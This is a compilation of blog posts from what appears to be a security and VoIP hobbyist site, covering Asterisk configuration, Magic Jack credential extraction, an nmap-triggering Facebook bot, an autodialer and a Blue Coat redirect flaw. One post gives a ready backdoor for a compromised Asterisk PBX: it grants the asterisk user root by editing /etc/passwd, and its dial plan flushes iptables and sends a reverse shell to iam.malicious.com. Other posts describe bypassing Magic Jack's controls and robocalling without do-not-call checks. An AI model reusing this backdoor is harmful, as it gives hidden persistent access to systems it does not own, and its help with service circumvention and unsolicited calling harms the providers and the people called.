FBCbot is a bot written in Perl to interface with Facebook on the users behalf. The bot is still in its infant stage and could definitely be improved upon. Currently FBCbot was developed on Linux though since it is written in Perl it can be modified to run on Windows as well. The FBCbot was developed in a way to allow for quick writing and adding of additional modules to it. Side note I am pretty new to programming in Perl, so if you see something that could be improved please let me know.

FBCbot works by checking all your friends status updates for key words that are predefined as commands in the bot. By default FBCbot comes with two modules. The “nmap” module allows users to post the command nmap xxx.xxx.xxx.xxx , where the xxx.xxx.xxx.xxx is the IP to NMAP. Once it is done scanning the IP it will post the results back to the wall of the user that issued the command. The “ping” module allows users to post the command pingpong xxx.xxx.xxx.xxx, where the xxx.xxx.xxx.xxx is the IP to PING. Once it is done pinging the IP it will post the results back to the wall of the user that issued the command.

To use FBCbot you will need to have a Perl interpreter installed on your operating system. I am currently using the default one that comes with Linux. You will need a way to schedule the bot to run, I currently use the cron to have it check every x amount of minutes. You will also need the Facebook command line application that was written by Dave Tompkins over at http://fbcmd.dtompkins.com/. This allows you to send commands via command line to Facebook as well as craft custom Facebook queries like you would do in SQL. Facebook command line runs on both Linux and Windows as well. Once you have this application you will need to overwrite the original fbcmd.php with my modified one. The modified one is provided in the zip along with FBCbot.pl: http://www.digitaloffensive.com/files/fbcbot.zip

I altered the original fbcmd.php file to add a common delimiter to the “fstatus” output to make separating the username and the command easier since the white space between the username and status is never the same. To do this I added “::” to be printed out right before the actual status

To add additional modules to FBCbot you can use the “elsif” syntax in Perl. Basically you would say

If $command = “x” then do “y” elsif $command =”a” then do “b” and so on. Just make sure to use proper syntax and close everything you open.

The current limitations to FBCbot are that it can only do 10 wall posts day. More than that will have it blocked for 48 hours. I am currently thinking of implementing a way that a user can provide an email address to have the results mailed to but that is a future though if more development is done FBCbot. I also need to take into consideration how to handle people leaving commands in their status over long periods of time.

We have been able to rule out the following false information that is circulating on the net. From the dumps and the traffic we captured they are still using proxy01 and the user account is still E########01.

Until we can get a few test Jacks to test with we are temporarily removing the SIP retrieval service.

If you have a jack you want to donate please contact us as we work on this issue.

Site verified secure! You see this on many sites out there. They all proudly display an image from a company saying that their site is scanned daily and has been determined secure. How many of these sites truly verify your site is secure? Have you checked your site lately?

While doing some research on a product I was interested in, I stumbled upon a cross site scripting vulnerability in the search box of the vendor’s website.  I was not to concern, as many search boxes on the internet are vulnerable to XSS.  I was about to move on until I noticed this iamge at the bottom of the page:

Interesting! According to McAfee, this site is Secure, but I have just proven it is not. So the first question that popped into my head is, what does McAfee consider secure and what is actually checked when using their service.

According to their service offering, they do the following to each site they monitor:

“* Network Security Audits are audits conducted to ascertain the compliance of network Devices with certain published security standards and to disclose security vulnerabilities and may include, but are not limited to, port scanning and port connections, evaluating services by checking versions and responses to certain requests, and crawling a website to perform testing of forms, application responses, or the confirm the existence of certain files.”

My understanding of the above is that they “do” provide the ability to readily check for cross site scripting vulnerabilities. Though for some reason they did not pick this up on the site I reviewed. So, I continued reading their user agreement to see what their responsibility is. Under the section that says: “No Guarantee” They basically state they do not offer any guarantee your site is secure and are not responsible for the security of your site.

On average the McAfee Secure service costs between a few hundred to a few thousand dollars, depending on the amount of traffic your website generates. The question is what are you paying for if they provide no assurance of the security of your site? In my honest opinion this is just a huge marketing ploy. You are paying large sums of money to display an “AD” on your site to say that your site is secure and promote their service, even if it may not be.  McAfee itself pushes this service saying it will “Increase your sales conversions by 12% with McAfee SECURE”.

I wonder how many companies that buy this service have a clue what they are truly buying.  I wonder how many of them actually run an audit themselves on their site to assure the safety of the data and clients. I wonder how many people have setup rules in their firewalls or IPS devices to alert them when these scans initiate to assure they are even getting scanned.

In defense of McAfee, I believe they probably do run a low end scan against the sites using a tool like Nessus or Nmap (probably actually something custom since they bought Foundstone, but still along the same line) that will check for ports and banners. I don’t think they are truly doing application level checking of sites as this is still not 100% reliable via automation. From my reading about their service since I do not have it, it seems that the end user has a lot of control in the setup and administration of their accounts. They can define the IP’s to scan as well as the policies to scan with. So the above issue and the issues I found on several of the sites displaying the “McAfee Secure” image could also be due to end users.

After all this research, I decided to contact McAfee and tell them about the issue. So I did a online chat session with a McAfee Secure tech. This is where I lost all respect for their service offering and what has caused me to write this article.

I started off asking them what they verify the site is secure against and the agent could not tell me. Next I told the agent that I found a site that displays their image, yet it contains a vulnerability. He asked for the sites info and I gave it to him. He then asked what the issue was and I told him I was able to execute cross site scripting on the site and redirect users to other sites and content. He had no idea what cross site scripting was. I gave him a example piece of JavaScript that would pop up a msg box saying “1”. He pasted the code in the box and his browser did not do anything or at least he said it did not. I told him I verified this issue on IE and Firefox. He could not tell me what browser he was using. I am expecting he was using something to block cross site scripting on the client side or McAfee was blocking it at the enterprise. At this point he told me my computer had issues and that site is secure if it is displaying the image. Below is a screen shot of the final part of our conversation.

To wrap this up make sure you know what you are buying. Don’t ever put full faith into any one security product or solution, everything out there has a hole or weakness. The age old saying “defense in depth” is still alive today.

I also contacted the sites that were vulnerable to XSS and included the response I got from McAfee. I told them to follow up with McAfee to have their issues resolved.

The Asterisk Desktop Assistant is a plug-in that allows you to be able to click on telephone numbers inside of Microsoft Office Products, Firefox and Thunder Bird. Once you click on the number it will ring your phone, once you answer it will then dial and connect you to the number you clicked.

The Asterisk Desktop Assistant can be found her for download: http://blogs.digium.com/2008/12/22/asterisk-desktop-assistant-windows-click-to-call-and-more/

Though Diginum provides a great website and a lot of data on how to install this plug-in their directions are extremely high level and it takes more tweaking then they have documentation on.

First thing to do is make sure that the firewall protecting your Asterisk box allows port 5038 inbound to it if you are using the ADA plug-in remotely. Next if working remotely makes sure that if you are behind a firewall that it allows port 5038 outbound.

Second we will need to make some changes to your Asterisk PBX.  I am going to assume that you are running a version of Asterisk that has FreePBX. If this is the case you will have to edit two files manually on the system as well as have at least 1 extension configured that you want to use.

1. The first file you will want to edit is /etc/asterisk/manager_custom.conf

You will want to add the following to the file:

[1001] <– This is the extension / username, change to fit your system

secret = ******  <– password to use

permit=0.0.0.0/0.0.0.0  <– Where to allow connections from. I suggest locking it down

deny=10.0.0.1/255.255.255.255  <– Where to deny connections from

read = system,call,log,verbose,command,agent,user <– permissions for the user on AGI

write = system,call,log,verbose,command,agent,user  <–permissions for the user on AGI

2. The next file you will want to edit is /etc/asterisk/extensions_custom.conf

You will want to add this to the bottom of that file:

[ada] <– context

include => from-internal

exten => 1001,1,Dial(SIP/1001) ßchange the 1001 to your extension

3. Now that is down issue the command asterisk –rx “core restart gracefully”

Third we will look at the actual install and configuration of the ADA plug-in on your windows system. The installation is pretty straight forward as you just click the setup and it installs. Once it is installed you will need to configure it to talk to your Asterisk box.

1. Install the ADA software. It can be downloaded here http://dl1.digium.com/ADA1.1/ADAInstall.exe; make sure that Firefox and any Microsoft application is closed before starting the install.

2. You will see it show up on your screen and in the lower right hand corner of your computer taskbar. To configure it simply right click on it and choose settings.

3. Only tab you need to worry about is the general tab where you will choose Asterisk and enter your Asterisk IP or hostname.

4. Choose Save Settings.

5. On the main screen enter the user name and password of the user you created above.

Fourth we will need to make some changes to the ADA system files for it to work with FireFox and ThunderBird.

1. There is a version restriction in the ADA software on what version of Firefox and Thunderbird it can work on. To get around this you will need to edit the following file in notepad: C:\Program Files\Digium\ADA\Mozilla\install.rdf. Look for the line <em:maxVersion> and change the number to something like 9.0 then save the file.

2. Next reboot the computer. Once the computer reboots your FireFox and Thunderbird will be ready to go.

Now you should see telephone numbers show up as links. If you hover over the links it should have a tag like this ada://717xxxxxxx. If you click that it will dial the number.

Fifth and final we will make the required changes to Microsoft Office. This will need to be done in each of the office products you run. At the time of writing this I am currently running Office 2007 at work and Office 2010 at home.

1. Click on the round office icon in the upper left hand column of the office product you are setting up.

2. Click on “That products name” options.

3. Click on Add-Ins

4. Click where it says Manage and choose “Smart Tags” and make sure to click on ADA (ADASmartTags) and then click on go.

5. Press ok.

Now you should be able to right click the number and choose dial.

If you have any questions comments or concerns please feel free to contact us. If you found this article useful please feel free to help support us.

AMJchan is a shell script written by the Digital Offensive team to quickly and accurately patch your Asterisk server for use with the Magic jack. This script was developed and tested on Centos, fedora and Redhat. The script can be easily altered to use another package manager other then yum to make it cross system compliant.

As many of you already know that to use a Magic Jack in any means other than the intended means  you are required to use a proxy. The Proxy facilitates the md5 hashing of the connection. In most cases people choose to use mjproxy, for Linux, some routers and ATA devices or MJMD5.exe for windows based systems. The actual patch was not developed by us and we cannot take credit for that. From my resources the patch was developed by 2 individuals DTM and Teddy_b. The patch allows you to run your Asterisk PBX without using a proxy.

AMJchan does the following for you:

1. Checks to find out what version of Asterisk you are running
2. Checks to make sure you have the needed tools (wget and patch)
3. Installs needed tools if you do not.
4. Downloads the Asterisk SRC that matches the version you have installed.
5. Downloads the Magic Jack chan_sip patch code.
6. Backups your original chan_sip.so and .c files
7. Patches the chan_sip
8. Makes the new chan_sip
9. Stops the asterisk process
10. Copies the new chan_sip into production
11. Restarts asterisk

To download the script click here: http://www.digitaloffensive.com/files/AMJchan.sh

AMJchan should be run as root to insure that you do not have any permission issues. The Digital Offensive does not take any responsibility for your use of this script.

If you have any questions or feedback please feel free to contact us and if this script helped you feel free to support us through a donation if you see fit.

Looking for someone that has the time, motivation and ability to generate leads and write proposals to help grow our business. This is a commission based position and due to that there is no benefits being offered. All commissions will be based on the final contract amount and paid after successful completion and payment of the contract. At the current time we are not taking applications from recruiters. All applicants must be at least 18 years old to apply.

You must have:

1. Good writing skills
2. Speaking skills
3. Basic understanding of computers. Knowledge of Information Security is a pro.
4. Must be US based and a citizen
5. Must be willing to sign a NDA

If you are interested in this position please send your resume to us.

What is it:

This simple shell script was created by Michael LaSalvia of Digital Offensive to auto dial numbers and plays back a message to the person that picks up the phone. This script will take a comma separated file (CSV) that is setup as follows:

Number,Sound,Trunk_Name

And automate the dialing and playing of that sound / message. The sound can be in the standard gsm format or an mp3 file.  This is useful for automating phone campaigns or just having a good time messing with friends.

How it works:

This script takes advantage of the Asterisk outgoing spool directory. The script creates a “call” file using the variables that you provided in the csv file as well as the variables you set in the script. The file is then moved into the /var/sppol/asterisk/outgoing directory where asterisk will process the “call” file and place the call.

The CSV file:

The CSV file is setup with three columns number, sound and trunk_name

The telephone number must not contain any – and must be the full 10 digit number for local and long distance calls. This may vary based on your dial plan.

To play custom sounds / messages you will need to create them and upload them to /var/lib/asterisk/sounds. Make sure that all the files you upload there that you chown them to asterisk.asterisk if your PBX is running as asterisk. When adding the sound to play in the CSV file do not add the extension just define the exact name.

To allow you to use different trunks to place your calls we added a column to define your trunks. If you only have one trunk then use that trunks name on each line

The CSV should look like this:

7175551111,campaign1,trunk1

7174442222,campaingn2,trunk2

And so on….

The shell script variables:

If you are not sure what you are doing please leave all the settings here along except nFile and nTrunk.

1. sounds: this variable defines the path to the asterisk sounds. You must upload your custom sounds /messages to this directory for them to play.
2. rOut: this variable defines the path to the asterisk outgoing spool directory.
3. rUser: this variable defines the user as asterisk.
4. rGroup: this variable defines the group as asterisk.
5. nFile: this variable defines the path and file name of your CSV file. You need to upload that file to a readable spot on your PBX.
6. rtry: this variable defines the max time to wait between trying to call a user back.
7. mtry: this variable defines the max number of times to try to call someone back.
8. stime: this variable defines the time to wait before calling the next number. This will help avoid congestion.

What is needed:

1. You will need an Asterisk based PBX.
   1. You will need to have an account that has the ability to access required directories and files. Preferably root.
   2. You will need to modify the /etc/asterisk/modules.conf file and add the line “load pbx_spool.so”
   3. You will need to have a copy of our script which can be downloaded here: http://www.digitaloffensive.com/files
   4. You will need a client to upload your sound / message files to the server with as well as your CSV file.

How to run:

To run this script you will need to either manually execute it daily or schedule it via cron.

Current issues:

Since I do not have access to the do not call lists database I cannot add the functionality to check your CSV file against the do not call list. With that being stated I do not take any responsibility for your actions with this script.

Up to recently we use to pay a third party SEIM provider to provide us reporting for all our site to site VPN tunnels. This is due to an audit requirement we had that said that our system administrators had to report on any time their vendor connected to the tunnel. If they connected they had to provide the start date & time, the end date & time, the duration of the connection, the source address and destination address, the protocol & port as well as the tunnel name.

Due to the cost of the third party SEIM provider as well as their not so wonderful service we decided to find a replacement. The only issue is the replacements we found all cost over 100,000 a year. This is when Michael Yan and I set forth to develop our own solution.

We are happy to bring you “CP-VPN-Auto-Audit 1.0”. This system is compromised of 4 scripts that run together to export your logs, format them into individual tunnel csv reports and then email them to the system administrators.

To use these scripts you will need the following:

1. You must be running the SPLAT operating system on your management server
2. You must install active Perl on your mgmt server.
3. You must have a SSH key pair setup with another Linux box that has the ability to mail files. (This is useful for log backups and automated upgrade_exports as well).
4. Understanding of basic Perl, Linux and Shell scripting.
5. You must configure your logs to rotate nightly at midnight and make sure to do a install database to apply the settings.

How to install Active Perl on your Mgmt server:

Since the Splat Operating system is just a striped down secured version of Red Hat Linux you are able to install some dependency limited RPM packages.

1. Log into your mgmt server and escalate your privileges to “expert”
2. Download the RPM that is right for your processor architect: http://www.activestate.com/activeperl/downloads. This file needs to be downloaded to a box that has either a SSH server running or an ftp server running since your mgmt station will not have wget, curl or lynx. But you do have SCP and FTP
3. From your mgmt server copy the RPM over to /root.
4. Issue the command “rpm –ivh file_name.rpm” to install
5. Next we will have to edit our environment so the Splat operating system will detect it.
   1. Use your favorite Linux editor to edit the file $FWDIR/tmp/.CPprofile.sh
   2. Find the line “PATH=${PATH}:${FWDIR}/bin:” and modify it to PATH=${PATH}:${FWDIR}/bin:/opt/ActivePerl-5.10/bin ; (change to version number that matches your Perl version).
   3. Log out of your mgmt server, log back in and escalate your privilege to “expert”
   4. Execute the command “which perl” You should get a path back if it worked.

Installation of the Perl script on the mgmt server:

On the mgmt server you will need to copy the logstrap.pl and the vpn-audit.pl to the /root directory. Once you have the files copied there you will need to modify them to match your version of checkpoint , the log output directory, the remote server name and account. I normally like to use variables but in this project the use of variables seemed to add so many headaches and countless additional hours of trouble shooting.

Inside look at logstrap.pl: Download code here: http://www.digitaloffensive.com/files

The code is heavily documented so to keep this document clean just search for the lines below to see the code:

#Get Yesterday Date:  This code will get the server time and convert it from epoch and format it to a usable format for us. It will also add a 0 in front of any day value that has only 1 character.

#Create shell script to use *CheckPoint Environment* and Process the log export for yesterday log: This code will create the shell script called execute-me.sh. This script will define the CheckPoint environment and process the day before account logs using the fwm logexport command. Next since the cron will spawn a new shell when we declare the CheckPoint environment we need a script that will launch the rest of the code for us in the new shell, this script does that for us by call /root/vpn-audit.pl.

Inside look at vpn-audit.pl: Download code here: http://www.digitaloffensive.com/files

The code is heavily documented so to keep this document clean just search for the lines below to see the code:

#Get Yesterday Date:  This code will get the server time and convert it from epoch and format it to a usable format for us. It will also add a 0 in front of any day value that has only 1 character.

#Logs to use: This code will open all the log files that we will use to separate the log file into individual csv files, 1 per vpn tunnel that we have.

#Printing header: This code will add a header to each of the csv files. This allows for easy filtering of results and also makes understanding what data is in each column.

# Find Column numbers based on column names since *CheckPoint changes the column numbers daily*: This code will resolve the issue of where the column numbers found in the CheckPoint logs change daily. Instead of using a preset number we find the column name and then find what column that is associated with.

#Process individual reports: This is the part of the code where we process each VPN tunnel into and individual report using regular expression matching and unique tunnel names.

#Close all open logs: This code will close all the logs that we have opened.

# Tar files and move them to server to be emailed: This code will make use of the SSH keys we have established with our other Linux box. It will tar up the logs and transfer them to the other box. It will also clean up all the logs we just created as well as call the mail.sh code located on the other box.

Inside look at the crontab entry on the mgmt server:

To edit your crontab use the command “crontab –e”

45 11 * * * /root/logstrap.pl >& /var/log/cron.err

Since we use GMT time I have to set the cron 4 hours in the future from the time I want to execute the script. We output the results to /var/log/cron.err for error checking and debugging.

Installation of mail.sh on your other Linux server: Download code here: http://www.digitaloffensive.com/files

Remember on this server you have already confirmed that you can send email from it.

1. Log on to the box as the user that you established the SSH key pair with.
2. Create a directory called vpn.
3. Copy the mail.sh code into that directory.
4. chmod –Rf 777 /user/vpn

Inside look at mail.sh:

##Variables: This section will allow you to define the following:

1. The path to the csv files
2. The mail recipient.
3. The email message body.
4. The subject line of the email.

## Do not edit below this line: This section of the code contains a loop that will mail all the csv files as attachments until it is done. It will also clean up and remove all the tars and csv files after it sends them out.

What is it:

MJSIP is a simple Perl script written by a co-worker and myself. This script uses regular expression matching to automate the finding of your SIP password in the dump file.

MJSIP has been tested on over 50 Jacks that were purchased and registered this month (6/07/10). Each Magic Jack we tested worked flawlessly.

Though this tool has been tested and we have worked out many of the bugs there are two conditions that we are aware of that will cause MJSIP not to return a password back to you. The first condition is if you dumped the memory wrong using the SIPDump tool. The second condition is if your Magic Jack password contains the same letter or number more than 4 x in a row.

What is required:

MJSIP: Our Perl script. This can be downloaded here: http://www.digitaloffensive.com/mj/mjsip.zip

SIPDump: Magic Jack stores all your SIP information in the programs memory during the startup process. SIPDump is a modified version of MemDump, which was originally developed by Stroth. You can download this tool here: http://www.digitaloffensive.com/mj/mj.rar

Active Perl: This is a free windows port of the Perl interpreter. It can be downloaded her for the 32 bit or 64 bit processor: http://www.activestate.com/activeperl/downloads. Download the msi file and install it, choose all the defaults.

How to use it:

Step 1: Download and extract all your tools to a folder on your system. Working out of one folder will make life so much easier.

Step 2: Use SIPDump.exe to dump the Memory of your Magic Jack. If you need more details on how to do this check out my article on this located here: http://www.digitaloffensive.com/2010/03/hacking-the-magic-jack-in-2010-for-use-on-trixbox-or-any-other-sip-device/

Step3: Out of all the Magic Jack’s we have tested the 3^rd dump file was the most reliable at containing the password. I would strongly suggest you do not change that line in the MJSIP.pl file.

Step 4: Open a command prompt and navigate to the folder that you created that has all your tools in it. This folder should also contain you SIPDump files, unless you did not listen to my suggestions above. Once in that folder type the following command “perl mjsip.pl” This should dump your password to the screen.

If you found this tool helpful please feel free to either visit one of our sponsors or donate by clicking here.

If you have questions, concerns or ideas to automate more or add to it feel free to contact us.

Like most programs Asterisks offers the ability to launch system commands from with inside the application. This means it is possible for either a developer or a malicious person to execute system commands by simply editing the dial plan and making a phone call.

This is nothing new the ability to execute system commands from within an Asterisk based PBX has been around since it was first developed. A quick Google on the topic of “Asterisk system command” shows me that it has at least been documented since 2007 according to the article found here:

http://www.voip-info.org/wiki/index.php?page_id=166

This article goes into great detail explaining how to set this up. The article also points out how this is insecure and provides a few additional dial plans that can be used to help thwart this command from being abused.

My article is going to look at this from the malicious standpoint and how to create a true phone home.

So you have just popped a Linux box and noticed that is running Asterisk besides the normal mischief you can cause such as racking up long distance calls and recording conversations. Let’s make sure you can get back in any time you want by simply making a call.

Via Command line:

Step 1: Download and compile a copy of snetcat (http://snetcat.sourceforge.net/ ) locally. This is a secure free replacement to netcat (the good version that gave you the –e flag). This tool can be statically compiled and will work on any Linux based system. Once you do this you can host this file somewhere that you can easily access it later.

Step 2: Decide if you want to have root access via Asterisk. If so a simple trick would be to edit the /etc/passwd file and change your group and user number to 0:0 and save the file. Now the asterisk user will have the same level as root.

This is not needed to have fun with just the phone system.

Step 3: Depending on the system they are using for their PBX ie. PBX in a Flash, Trixbox or just straight asterisks will determine what file you need to edit to put your custom dial plan. In any system that uses FreePBX (PBX in a Flash, Trixbox and several others) any changes to the extensions.conf file will be overwritten and restored back to default by FreePBX so editing that file will not work. If the system is running FreePBX you will need to edit the extensions_custom.conf located in the /etc/asterisk/ directory.

Use your favorite editor to open the file and edit it. At the bottom of the file you will want to place the following dial plan:

[custom-backdoor] ; change name of course

exten => 9000,1,Playback(owned) ; not needed but cool when you place the call

exten => 9000,2,Wait(1)

exten => 9000,3,System(/sbin/iptables -F) ; flush iptables rules if there are any

exten =>9000,4,System(/var/tmp/.hidden/spipe –e /bin/bash iam.malicious.com 443) ; shovel shell back

exten => 9000,5,Goto(custom-backdoor,s,1)

exten => 9000,6,Hangup

Tips: Use a common port for your reverse shell to help defeat firewalls and proxies. The number 9000 is the extension you will use. Make sure it is something that is not already used. On the attacker side you will want to have a spipe connection listening for the reverse shell “./spipe –l 443”

Save this file and issue the command “asterisk -rx reload”

Step 4: At this point you system is now back doored and you should be able to call the extension and launch the reverse shell. This is useful for systems that use IVR’s that allows you to dial any extension. Or if you have found a week extension that you can register a soft phone with.

Stay tuned for more articles on this subject.

If you have any questions or concerns please feel free to contact me.

On most of the Asterisk based PBX forums on the internet one of the top help related questions posted is “the phone rings and I can answer it but there is no voice” or one of many variants of that question. The issue is most likely due to the fact you are running the PBX behind a NAT. Most likely your PBX is either behind your home router or your enterprise firewall and you are using a RFC 1918 IP address for it. You are also most likely either doing inbound port forwarding or one to one NATing depending on your firewall.

Let’s first look at what ports are required for your PBX system to work. These are the same ports if you have to port forward or if you do a 1 to 1 NAT and firewall rules. Remember if your PBX sits on your LAN these ports will already be available to other computers and phones on the LAN already. These are ports required for external inbound and outbound communications and administration.

I have based the ports in my article from the list here: http://pbxinaflash.org/Tutorials. If you compare my list below and theirs you will notice some ports not listed. My theory is to keep it simple and secure. If you are running an Asterisk based PBX in an enterprise or office environment I would suggest not allowing any of these ports inbound. If you need to administer your PBX you should use your company’s secure remote access solution if they have one.

22: TCP port 22 is SSH. It allows secure command line access to your box. Pros: the communication channel is secure. Cons: It is a default port and many people will try to brute force your username and password. I would not worry though if you are running PBX in a flash; their fail2ban will ban the IP of the person scanning your box. If you are running another system like Trixbox you can install BFD from: http://www.rfxn.com .

69: UDP port 69 is TFTP. Unless you have external phones such as a CISCO 7900 series or any other IP based phone that needs to TFTP a configuration from the PBX this is not required externally and should not be opened.

80: TCP port 80 is http. This is required for web based administration. This can be replaced with TCP port 443 for secure web based administration if you have a SSL certificate installed. Pros: Almost all ISP’s allow this port in and out making it a reliable method for administration. If your ISP does not allow port 80 inbound you can change this to another port like 9080. Cons: It is a common port and provides information to a potential attacker about what is running on that server. A potential attacker could try to brute force the username and password or if an administrator did not change the default username and passwords they can use them to access the system. In PBX in a Flash Fail2ban will block brute force attacks and ban the offending IP address.

443: TCP port 443 is https. This will provide secure web based administration if you have a SSL certificate installed. Unless you have a certificate I would not bother opening this port.

4445: TCP port 4445 is used for the FOP (Flash Operator Panel). My system is home based and I do not require external access to this. Unless you are running a larger system and your phone administrators need access I would not open this. There are more secure ways to give them access to this feature such as through a SSL VPN or Citrix.

4569: UDP port 4569 is iax2. This port is required only if you are using the iax2 protocol for your PBX’s communications.

5000-5082: UDP ports used for SIP conversations. This is extremely important if you are using the SIP protocol for communications and most of you reading this probably are.

5038: TCP port 5038 is AstMgr. This port should be opened and not altered.

10000-20000: UDP ports used for SIP calls.

Now that you have all the required ports open for your environment it is now time to get over the hurdle of NAT. If everything above has been done correctly and your PBX has already been configured with trunks, routes, and extensions you should be able to place and receive calls at this point. If not please correct that issue before continuing as the issues with NAT usually come into play when you try to extend the functionality of your PBX system to outside your LAN, such as call forwarding to a outside number.

Since Asterisk based PBX systems that have FreePBX installed with them do not allow you to edit the main Asterisk configuration files you will need to edit the “sip_general_custom.conf” file and make your changes in there.

Steps:

1. Login into your PBX via command line.
2. Use your favorite Linux text editor to open the file /etc/asterisk/sip_general_custom.conf
3. Copy the lines below and make the appropriate changes. Then paste it into the config:

rtptimeout=120

externhost=FQDN or External IP of the PBX

externrefresh=120

nat=yes

localnet=192.168.0.0/255.255.255.0 <–LAN IP and netmask

1. Save the file
2. At the command prompt enter the command “asterisk –r”. This will bring you into the asterisk console.
3. In the console enter the command “reload”
4. Once the system reloads exit the session.

At this point you should now be able to overcome the issues you were having due to the NAT such as no voice in calls and call forwarding. I have tested this on my home PBX system running PBX in a Flash and this solution works like a charm. If you have any questions comments or concerns please feel free to ask me.

The Blue Coat web filter is one of the industry’s leading web filtering solutions. It provides the organization the ability to filter where their employee’s, vendors, customers or guests can go online.

The Blue Coat Web filter has an issue where it will display a base64 encoded URL in the following format http://blue_coat_name/?cfru=aHR0cDovL3d3dy5nb29nbGUuY29tLw== when it has an error.

This URL is displayed in the end users browser usually with a message relating to the issue. The encoded URL is the URL that the end user was trying to get to before the error occurred. In the URL above I was trying to access www.google.com.  To verify that we can use any base64 decoder, for this example I used an online version found at http://base64-encoder-online.waraxe.us/ .

All a malicious user would need to carry out an attack would be remote site that is hosting a malicious payload or an attack platform like Metasploit or Core Impact to host the malicious file. The attacker would than use a base64 encoder to encrypt the malicious URL and send the problematic link to the system administrator or any other end user. This attack could lead to a full system compromise depending on the payload and the rights of the user clicking the URL.

The limitation to this vulnerability is that DNS name and or IP of the Blue Coat web appliance will differ for the majority of companies. Though I bet there are at least a few companies out there that have named their Blue Coat web filter “proxy” or “webproxy”. By posting several of these generic names on the internet it may also be able to compromise other remote machines as well.

The question that I have to Blue Coat is why you would provide such functionality. Why don’t  just display the URL in clear text.

I have created a simple shell script below that will automate the process for you. This script was written to run on the Linux based PBX (Trixbox, PBX in a Flash, Asterisk and so on). Though with a little editing of the script you can use it to just create the ringtones and not install them.

1. Make sure you have sox installed: which sox and if you don’t you can install it with either apt-get or  yum.
2. Download the wav files or mp3 that you want to convert to your PBX but. I suggest using Google or another means to find files you want to use. Remember mp3 support may not work.
3. Copy the code below and paste it into a file on your Linux box using your favorite editor.
4. Open the shell script and edit the variables if your paths are different. If you don’t know what to put here leave it blank. These are the paths on your PBX where the phone will pull its configurations from.
5. Save the changes and chmod the file so you can execute it.
6. Excute the script:
7. When prompted for the path and name of file you want to convert enter it like this: /music/ring.wav
8. When prompted for the path and name of the output file it enter it like this: /music/ring (no extension)
9. Watch for errors and correct where needed.
10. If you are running this on a Linux PBX it will copy the file to the /tftpboot dir and edit the RINGLIST.DAT file for you.
11. Once the script is done reboot your phone

#!/bin/bash
#####################################
## Create custom cisco ringtones   ##
## Created by Michael LaSalvia     ##
## http://www.digitaloffensive.com ##
## Tested on cisco 7940 and 7960   ##
## Running SIP                       ##
#####################################

#Variables
dtftp=/tftpboot
fring=$dtftp/RINGLIST.DAT

#My current sox install does not support mp3. Most do not by default.
echo “Enter the path and name of the file you want to convert: ”
read inRing
echo “Enter the path and name of the output file: ”
read oRing
echo “#############################################”
echo “Converting the file”
echo “#############################################”
#Not all sox installs support -b without a positive integer
sox $inRing -t raw -r 8000 -U -b -c 1 $oRing.raw resample -ql
echo “#############################################”
echo “Resizing the file(16080B) and saving to $dtftp”
echo “#############################################”
dd if=oRing.raw of=$dtftp/$oRing.raw bs=1005 count=16
echo “#############################################”
echo “Editing the RINGLIST”
echo “#############################################”
echo “$oRing    $oRing.raw” >> $dtftp/$fring
echo “#############################################”
echo “If there was no errors above, please reset your phone and choose your new ring”
echo “#############################################”

If you like your SIP info retrieved for you, we offer remote retrieval support for $10.00 per Magic Jack:

I have also corrected the download link for the mjproxy source code in my article: http://www.digitaloffensive.com/mjproxy.c.tar.gz

The concept and art of hacking the Magic Jack is actually really old. The reason I am writing this is that over the last year the process has become much harder. There is definitely ample information available online that if you were to spend weeks reading you could easily do this. But who wants to read through countless forums post trying each way to hack it only to find that way no longer works. Like you, I want the answer and I want it now.

Chapters:

1. Who wrote this document.
2. What is the Magic Jack.
3. Why did I buy it and my buying experience.
4. Required tools and knowledge.
5. Setup and registration of your Magic Jack.
6. Get SIP info and Proxy info.
7. Testing settings and using other SIP clients.
8. Configuring Trixbox

Who wrote this:

This document contains the ideas of many but has been written, tested, added to and compiled into one body of knowledge by the team of Security professionals at http://www.digitaloffensive.com. Resale, trading, or hosting of this document is against the law and violators will be prosecuted. This document is for educational use only and the team at http://www.digitaloffensive.com does not take any responsibility for your use of this document or the effects it may have on your systems or Magic Jack account.

What is the Magic Jack:

The Magic Jack is a small USB dongle that plugs into a computer and telephone to provide the end user a low cost phone service through the power of VoIP and ads. There are many thoughts on this product some good and many bad. Many people believe this product to be riddled with spyware based on their poorly worded TOS that you must accept to use and the ads you are forced to see when using their soft phone. I am under the assumption that anything I install on my computer could possibly spy on me and I assume that risk. With that out of the way I leave it up to you to decide if you want to try this product or not.

Why did I buy it and my buying experience:

Several days ago I ordered a Magic Jack. My reason for ordering a Magic Jack was to use it as a part of my Trixbox VoIP system. I read this can be done and it looked real easy to do. Lucky for me they were offering a free 30 day trial. The free 30 day trial is actually free though they put a hold on your credit card for 46.00 + change this includes the shipping cost, the USB dongle and 1 year of service. The whole process felt fishy to me but I figured even if I was to get ripped off it was under $50.00 and would provide a good learning experience as well as give me something to write about. It took less than 5 days to get my Magic Jack sent to me.

During the research I did I found that the older versions of the Magic Jacks before the recent upgrades were easier to hack and to get the SIP information off of. So when I ordered this I was hoping that it would arrive in one of those vacuum packed plastic cases that take close to an act of God to open. My thought process was that if it came sealed like that it might have been sitting on the shelf for some time and not contain the most recent updates, making it easier to hack. But no, mine came in a foam holder like a glorified AOL DVD. I decided to first try to install it on a computer with no internet connection so I can view the files on the Magic Jack and maybe figure a way to disable the auto updates. This was fruitless because as soon as it detected there was no internet it would not install. So I moved the USB to another computer with internet access and enabled windows firewall in hopes that it would stop the Magic Jack from auto running and updating itself. I was wrong. It ran and automatically updated itself to version 2/18/10. I was about to ship it back ASAP, but I got to say this little device looks cool and I wanted to play.

Required Tools and Knowledge:

We will need to download several tools to get started. I suggest that you create a folder on your desktop and extract all the files to the folder you created as they all will be used together.

1. Magic Jack: http://www.magicjack.com.
2. Stroths MJ Utilities Suite v 1.6 from this link: http://magicjackhacks.com/downloads/MagicJack_Utilitieswsip.zip . This suite was once used to be able to pull the SIP information off your Magic Jack. Even though this feature no longer works with newer Magic Jacks, this suite provides other useful tools that we will need.
3. SIPDump.exe: This file is not normally included in the suite above, but the URL above has a copy of it in the zip file. The Magic Jack stores the SIP info in memory. This is the most important tool and will be used to dump the password and SIP info out of memory.
4. MJMD5: http://magicjackhacks.com/downloads/MJMD5.exe . This is a windows proxy that will allow us to use other thin clients and soft phones, such as xlite, without needing the actual USB dongle. This is also good for those that want to use the iphone or other wifi enabled phones. This is needed since Magic Jack has altered how it handles SIP and basically adds a hash to each packet. This tool will add the hash and the proper syntax information. I use this tool to test my Magic Jacks to make sure that the SIP information I pulled off is correct.
